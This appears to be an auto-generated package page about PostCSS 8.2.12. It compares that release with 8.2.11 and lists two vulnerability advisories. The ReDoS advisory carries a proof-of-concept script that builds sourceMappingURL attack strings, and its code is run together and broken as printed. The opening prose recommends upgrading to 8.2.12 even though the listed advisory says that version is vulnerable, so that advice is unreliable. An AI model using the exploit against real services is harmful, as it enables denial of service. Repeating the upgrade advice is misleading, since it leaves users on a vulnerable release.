PostCSS version 8.2.12 is a minor update to the popular PostCSS tool, a framework designed for transforming styles using JavaScript plugins. Comparing it to the previous stable version, 8.2.11, reveals subtle but potentially important changes for developers. Both versions share the same core dependencies: nanoid for generating unique IDs, colorette for adding color to console output, and source-map for debugging. They also maintain the same license (MIT), repository, author, funding model, and overall description, indicating a focus on incremental improvements.
The key differences lie within the dist object. Version 8.2.12 boasts a slightly larger unpacked size of 180,919 bytes compared to 8.2.11's 180,879 bytes - a difference of 40 bytes. While seemingly insignificant, this could reflect internal code optimizations, bug fixes, or adjusted documentation contributing to a refined user experience. Both versions include the same number of files (49). Most importantly, the release date of 8.2.12 is slightly later than that of 8.2.11, suggesting that it includes the latest bug fixes and improvements.
For developers using PostCSS, upgrading to 8.2.12 is recommended to leverage the cumulative effect of these small improvements. While the core functionality remains the same, these tweaks can lead to better performance, stability, and a slightly improved development workflow overall for the tool used to transform styles with JS plugins.
All the vulnerabilities related to the version 8.2.12 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.